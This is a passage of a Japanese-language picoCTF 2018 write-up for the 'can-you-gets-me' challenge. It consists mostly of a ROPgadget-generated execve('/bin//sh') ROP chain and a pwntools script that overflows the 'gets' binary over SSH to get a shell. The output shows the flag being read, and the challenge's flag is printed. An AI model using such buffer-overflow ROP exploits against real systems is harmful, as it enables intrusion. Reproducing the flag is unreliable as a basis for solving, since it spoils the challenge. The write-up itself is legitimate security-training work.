(前略) - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b84d6) # pop eax ; ret p += '/bin' p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b84d6) # pop eax ; ret p += '//sh' p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049473) # xor eax, eax ; ret p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080dece1) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049473) # xor eax, eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0806cd95) # int 0x80
出力されるのはpython2対応のコードなんですね。v5.4のリリースノートに Add: Python3 support
とあるけど、出力コードのバージョンではないのかな。Optionでも指定できないようだし。
出力されたコードを、picoCTFのshellサーバに接続して実行するプログラムと組み合わせます。
ちなみに今回はpwntoolも使ったのですが、いつもの癖で何も考えず from pwn import *
と書いて組んでいると pack
関数が struct.pack
と pwn.pack
で競合してエラーになっちゃった。初歩的なことですが、struct.pack
のように使用時に名前を指定してやるか、import順を考慮する必要がありました。
#!/usr/bin/env python2 # -*- coding:utf-8 -*- # execve generated by ROPgadget from pwn import * from struct import pack # picoCTF の shell serverに接続 print('picoCTF shell server login') print 'name: ' pico_name = raw_input('>> ').strip() print 'password: ' pico_pass = raw_input('>> ').strip() pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d') process = pico_ssh.process('./gets') # ここからROPgadgetの出力をそのまま + paddingを指定 # Padding goes here p = 'A' * (0x18 + 0x04) p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b84d6) # pop eax ; ret p += '/bin' p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b84d6) # pop eax ; ret p += '//sh' p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049473) # xor eax, eax ; ret p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080dece1) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f19a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049473) # xor eax, eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0807ab7f) # inc eax ; ret p += pack('<I', 0x0806cd95) # int 0x80 process.sendline(p) process.interactive()
実行結果
$ python solve.py (略) [*] Switching to interactive mode GIVE ME YOUR NAME! $ $ ls flag.txt gets gets.c $ $ cat flag.txt picoCTF{rOp_yOuR_wAY_tO_AnTHinG_700e9c8e}$ $
うおー!shell取れた!このツール便利だなぁ!ᐠ( ᐛ )ᐟ